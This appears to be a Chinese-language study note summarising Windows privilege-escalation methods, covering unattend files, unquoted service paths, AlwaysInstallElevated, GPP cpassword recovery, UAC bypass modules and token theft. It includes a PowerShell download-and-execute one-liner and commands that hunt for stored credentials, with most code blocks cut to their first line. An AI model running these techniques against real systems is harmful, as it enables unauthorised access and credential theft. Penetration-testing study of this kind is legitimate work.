简易提权知识点总结
系统内核溢出漏洞
手动执行发现缺失补丁
- 当获取到目标机器的 shell 以后,可以通过如下命令来看系统安装了哪些补丁,还具有哪些漏洞
1 | whoami /groups //根据下面的Mandatory Label\Medium Mandatory Level 来看自己是一个什么权限 |
- 使用上传或者[[powershell]]的下载功能来将 exp 放到目标机里边
1 | powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('192.168.1.1');执行的代码。。。" |
通过联网查询得知并且利用
- EXP 库
- [[Metasploit]]中的
enum_patches
[[Metasploit#post windows gather enum_patches]] - Windows Exploit Suggester
- Powershell 的 Sherlock 脚本
Windows 系统配置错误
直接获取系统安装的配置文件
概述
网络管理员在给一堆机器安装同一环境时,会使用脚本调用固定的安装配置文件进行安装,有的时候回包含管理员账号密码等信息
常见敏感安装配置文件如下:
1 | C:\sysprep.inf |
多种利用方式
- 直接使用 dir 相关命令搜索
1 | dir /b /s c:\Unattend.xml |
- [[Metasploit#post windows gather enum_unattend]]
系统服务权限配置错误
概述
Windows 系统服务文件在系统启动时加载并执行,并在后台持续调用可执行文件。而如果一个低权限用户对此类文件具有写权限(即可以更改它),那么就会造成安全隐患。
服务未运行:攻击者使用任意服务替换原来的服务,并重启服务
服务运行中且无法被终止:大多数环境如此,攻击者会利用 DLL 劫持技术并尝试重启服务来提权
多种利用方式
此脚本会列出服务权限配置错误的漏洞,且下面的 AbuseFunction 里会有需要执行的命令
- [[Metasploit#exploit windows local service_permissions]]
注册表键 AlwaysInstallElevated
概述
这个策略设置项一旦开启,Windows 将允许任何权限用户以 NT AUTHORITY\SYSTEM 的身份来安装恶意 MSI
MSI 即 Microsoft Windows Installer,双击 MSI 程序就会自动调用 Windows 自带的 Msiexec.exe(这个里边包含了大量安装和卸载软件时需要使用的指令与数据)
这个策略通过 gpedit.msc
中的如下操作打开:
组策略->计算机配置->管理模板->Windows 组件->Windows Installer->永远以高特权安装:选择启用
组策略->用户配置->管理模板->Windows 组件->Windows Installer->永远以高特权安装:选择启用
然后注册表会在如下两个位置上自动创建值:1
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
多种利用方式
- 利用 Powerup 的
Get-RegistryAlwaysInstallElevated
模块来检测此注册表键是否被设置 - 然后利用 Powerup 的
Write-UserAddMSI
模块,生成一个Useradd.msi
的 MSI 文件,然后只要以低权限执行这个文件,就会微系统添加一个管理员账户
可信任服务路径漏洞
概述
文件或者文件夹都有权限,当用户自身的权限高于它就可以访问,低于就不行。
比方说用户自身的权限很低,而假设C: \Program Files\Some Folder\test_service.exe
这个可执行服务程序的权限很高,且满足了调用服务路径未被引号包裹(可以通过 wmic 查明)并有空格在其中,Windows 会以本属于test_service.exe
的高权限去依次查询有没有C: \Program.exe
C: \Program Files\Some.exe
是否存在,存在就直接用高权限执行了。(相当于 Windows 是以空格做一个截断)
所以我们只要构造一个存在此漏洞的服务的恶意路径文件名比方说上面的
C: \Program Files\Some.exe
实际上是我们上传的恶意文件,重启那个正常服务就会以高权限执行我们的恶意文件了
利用方式一:
- 使用 wmic 来先列出没有被引号引起来且有空格的服务路径
1 | wmic service get name,displayname,pathname,startmode |findstr /i "AUTO" |findstr /i /v "C:\Windows\\" |findstr /i /v """ |
- 接下来利用
icacls
检测是否对那个有空格的目录有写权限
1 | icacls "C:\Program Files\Some folder" |
如果有 Everyone 则说明用户对这个文件夹有完全控制权限,括号后面的字符解释如下表格
字符 | 含义 |
---|---|
(M) | 修改 |
(F) | 完全控制 |
(CI) | 从属容器将继承访问控制项 |
(OI) | 从属文件将继承访问控制项 |
- 然后将重命名过后的恶意文件放到存在问题的目录下,并使用 sc 重启服务就好了
1 | sc stop service_name |
利用方式二:
- [[Metasploit#exploit windows local unquoted_service_path]]
计划任务
Windows 运行时会有一些计划任务,如果攻击者对那些以高权限运行的任务的目录文件有写权限,那么用恶意文件将其替换,系统便会以高权限运行那个恶意文件
使用如下命令来查看计划任务:
1 | schtasks /query /fo LIST /v` |
利用方式
这个软件是 Windows 自己发布的,常用于管理与排除故障操作,所以一般不会引起杀软的报警
1 | //第一次运行SysInternals工具包的软件会弹出一个协议许可对话框可以使用这个命令来自动接受许可协议 |
组策略首选项问题
创建一个组策略并批量修改本地管理员密码
创建[[域]]环境后,一般情况下域内机器都是要用自己的密码登录,而为了提升本地管理员密码的安全性,往往会批量修改这个密码
- 步骤是:创建组策略->更新组策略中的首选项密码->将 Domain Computers 组添加到验证组策略对象列表中->将新建的组策略应用到域中所有的非域控机器上
- 虽然调高了安全性,但是域中所有机器的本地管理员密码都是相同的了
获取组策略凭据
概述
往往在管理员新建了组策略之后,操作系统会在 SYSVOL 共享目录中生成一个[[XML]]文件来保存修改过后的密码,这个密码使用 AES-256 加密算法,安全性还是可以的,但是 2012 年微软官方公布了该密码的私钥,遂安全性降低
- 目标是找到包含 cpassword 的 XML 文件
多种利用方式
- 手动查找 cpassword
1 | //使用type命令直接搜索访问XML文件 |
- PowerSploit 提供的
Get-GPPPassword
脚本 - [[Metasploit#post windows gather credentials gpp]]
绕过 UAC 提权
概述
UAC,即 User Account Control,在权限不够的情况下访问
C: \
、Windows
、Program Files
类似目录都需要进行 UAC 认证才能进行。
UAC 规定了高、中、低三个安全控制策略,高等级进程有管理员权限,中等级进程有普通用户权限,低等级进程权限是最有限的
UAC 有如下四种设置要求:
始终通知
:最严格的设置,每当程序需要使用高级别权限都会提示本地用户仅在程序试图更改我的计算机程序时通知我
:UAC 的默认设置,本地 Windows 程序使用高权限时不通知,第三方使用时通知仅在程序试图更改我的计算机程序时通知我(不降低桌面亮度)
:与默认相似,但不降低桌面亮度从不提示
:当用户是系统管理员时,所有程序都会以最高权限运行
需要 UAC 授权才能进行的操作
- 配置 Windows Update
- 增加/删除账户
- 更改账户类型
- 更改 UAC 设置
- 安装 ActiveX
- 安装/卸载程序
- 安装设备驱动程序
- 将文件移动/复制到
Program Files
或者Windows
目录下 - 查看其他用户的文件夹
利用方式
bypassuac 模块
假设已经拿到了目标的一个 meterpreter 的 shell,但是权限是普通用户,我们需要将其提权为管理员用户
直接使用[[Metasploit#exploit windows local bypassuac]]模块即可(别忘了填入之前 meterpreter 的 session)
![[Metasploit#exploit windows local bypassuac]]
Runas 模块
![[Metasploit#exploit windows local ask]]
Nishang 的 Invoke-PsUACme 模块
1 | //使用Sysprep方法执行默认的Payload |
Empire 中的 bypassuac 模块
- bypassuac 模块
1 | usemodule privesc/bypassuac //使用模块 |
- bypassuac_wscript 模块
只适用于 Windows7,尚未有补丁,但是杀软会提示
1 | usemodule privesc/bypassuac_wscript //使用模块 |
令牌窃取
概述
令牌(Token)是系统的临时秘钥,相当于账户与密码,只要不重启系统,获得了令牌就可以在不提供密码或其他凭证的情况下访问网络与系统资源,一般来说令牌随机性与不可预测性很高,攻击者很难猜出来
令牌分为:
- 访问令牌(Access Token)代表访问控制操作主体的访问对象
- 密保令牌(Security Token)又叫做“认证令牌”或“硬件令牌”,例如:U 盾
- 会话令牌(Session Token)是交互会话的唯一身份标识符
- 伪造令牌的核心为
Kerberos
协议,在第 4 步服务器发送给客户端令牌后,攻击者入侵服务器来窃取那个令牌
利用方式
令牌窃取
假设已经获取了目标机器的 metepreter 的 shell,依次在 metepreter 中执行以下命令
1 | use incognito |
Rotten Potato 提权
和上一步一样,执行到 list_token -u
列出令牌的步骤,然后下载 Rotten Potato
该软件目录里有个 rottenpotato.exe
,执行如下命令
1 | upload /root/RottenPotato/rottenpotato.exe //上传到目标机器 |
Empire 下的 mimikatz
- 运行 mimikatz,输入
creds
可以查看 Empire 列举出来的密码 - 使用 pth
比方说: pth 7
来选择自己要窃取的令牌 - 同时可以使用
ps
命令查看当前是否有域用户的进程正在运行 - 获取令牌后,可以使用
revtoself
命令来恢复令牌权限
无凭证条件下的权限获取
概述
[[LLMNR]]
![[LLMNR]]